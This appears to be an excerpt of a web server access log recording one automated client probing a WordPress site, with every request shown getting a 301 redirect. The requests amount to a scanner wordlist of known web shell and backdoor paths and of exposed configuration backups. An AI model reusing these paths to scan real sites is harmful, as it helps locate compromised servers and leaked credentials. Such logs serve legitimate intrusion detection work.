[26/Apr/2026:05:51:22 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:23 +0300] "GET /wp-includes/sodium_compat/src/Core/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:23 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:23 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:24 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:26 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:30 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:33 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:34 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:34 +0300] "GET /wp-includes/css/dist/edit-post/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:34 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:35 +0300] "GET /wordpress/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:39 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:42 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:46 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:50 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:50 +0300] "GET /wa/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:53 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:54 +0300] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:59 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:04 +0300] "GET /wp-content/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:08 +0300] "GET /wp-includes/blocks/comment-date/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:09 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:13 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:18 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:18 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:23 +0300] "GET /wp-includes/js/tinymce/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:28 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:33 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:33 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:38 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:43 +0300] "GET /wp-includes/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:48 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:49 +0300] "GET /root.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:54 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:54 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:52:59 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:04 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:08 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:09 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:13 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:14 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:19 +0300] "GET /wp-admin/maint/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:24 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:29 +0300] "GET /wp-includes/blocks/footnotes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:29 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:29 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:33 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:34 +0300] "GET /wp-content/uploads/upload.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:38 +0300] "GET /wp-domain.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:43 +0300] "GET /wp-content/themes/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:48 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:53 +0300] "GET /wp-content/themes/fukasawa/inc/classes/403x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:53:58 +0300] "GET /wp-content/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:02 +0300] "GET /wp-includes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:07 +0300] "GET /wp-includes/SimplePie/src/Content/Type/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:07 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:12 +0300] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:13 +0300] "GET /wp-includes/blocks/post-comments-form/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:13 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:18 +0300] "GET /wp-content/themes/neve/assets/apps/dashboard/build/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:23 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:23 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:23 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:24 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:24 +0300] "GET /wp-includes/blocks/comment-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:24 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:29 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:33 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:37 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:41 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:44 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:49 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:50 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:50 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:51 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:54:55 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:00 +0300] "GET /wp-content/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:05 +0300] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:10 +0300] "GET /wp-admin/js/widgets/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:15 +0300] "GET /wp-includes/theme-compat/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:20 +0300] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:25 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:25 +0300] "GET /wp-includes/block-bindings/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:30 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:30 +0300] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:31 +0300] "GET /wp-includes/blocks/separator/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:31 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:31 +0300] "GET /wp-includes/blocks/buttons/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:32 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:37 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:37 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:38 +0300] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:42 +0300] "GET /wp-includes/blocks/image/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:42 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:47 +0300] "GET /wp-includes/blocks/video/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:47 +0300] "GET /wp-content/themes/twentytwentyfive/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:48 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:48 +0300] "GET /wp-content/wp-activate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:53 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:55:56 +0300] "GET /wp-content/uploads/backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:01 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:01 +0300] "GET /wp-includes/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:06 +0300] "GET /wp-content/themes/twentytwentyfour/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:07 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:12 +0300] "GET /wp-content/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:17 +0300] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:17 +0300] "GET /wp-includes/js/dist/script-modules/block-library/navigation/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:17 +0300] "GET /wp-content/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:22 +0300] "GET /wp-includes/css/dist/commands/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:23 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:28 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:33 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:38 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:38 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:38 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:39 +0300] "GET /wp-includes/assets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:44 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:49 +0300] "GET /wp-content/themes/twentynineteen/sass/site/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:54 +0300] "GET /wp-content/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:59 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:56:59 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:04 +0300] "GET /wp-includes/html-api/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:09 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:14 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:19 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:20 +0300] "GET /wp-content/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:25 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:25 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:30 +0300] "GET /wp-content/plugins/adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:35 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:40 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:45 +0300] "GET /wp-content/plugins/beteng83/ws78.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:50 +0300] "GET /wp-includes/Text/Diff/Engine/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:57:55 +0300] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:00 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:05 +0300] "GET /wp-includes/blocks/comments-pagination-next/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:05 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:11 +0300] "GET /wp-admin/class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:15 +0300] "GET /wp-admin/network/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:20 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:21 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:24 +0300] "GET /wp-includes/module.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:29 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:34 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:39 +0300] "GET /wp-includes/blocks/widget-group/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:39 +0300] "GET /wp-admin/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:44 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:45 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:49 +0300] "GET /wp-includes/blocks/post-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:49 +0300] "GET /wp-content/themes/wp-blog.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:53 +0300] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:58:58 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:03 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:04 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:09 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:09 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:12 +0300] "GET /wp-includes/blocks/legacy-widget/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:13 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:17 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:18 +0300] "GET /wp-includes/blocks/navigation-submenu/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:18 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:22 +0300] "GET /wp-content/uploads/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:23 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:28 +0300] "GET /wp-includes/Requests/library/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:33 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:38 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:43 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:43 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:48 +0300] "GET /wp-admin/maint/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:53 +0300] "GET /wp-includes/PHPMailer/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:58 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:58 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:59:58 +0300] "GET /wp-content/plugins/woocommerce/includes/import/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:03 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:04 +0300] "GET /wp-includes/blocks/query-pagination/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:04 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:04 +0300] "GET /wp-includes/js/mediaelement/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:05 +0300] "GET /wp-content/themes/twentytwentythree/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:05 +0300] "GET /wp-content/themes/astra/assets/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:10 +0300] "GET /wp-includes/customize/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:15 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:16 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:21 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:21 +0300] "GET /wp-admin/js/widgets/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:26 +0300] "GET /wp-includes/Requests/src/Exception/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:26 +0300] "GET /wp-includes/blocks/pattern/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:27 +0300] "GET /wp-content/plugins/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:32 +0300] "GET /wp-content/themes/news-portal/user-install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:37 +0300] "GET /wp-includes/blocks/table/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:37 +0300] "GET /wp-admin/images/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:42 +0300] "GET /wp-content/plugins/wp-cache-sys/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:47 +0300] "GET /wp-includes/js/dist HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:48 +0300] "GET /wp-includes/blocks/comments-less.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:53 +0300] "GET /wp-includes/assets/script-loader-react-refresh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:56 +0300] "GET /wp-includes/blocks/accordion/ 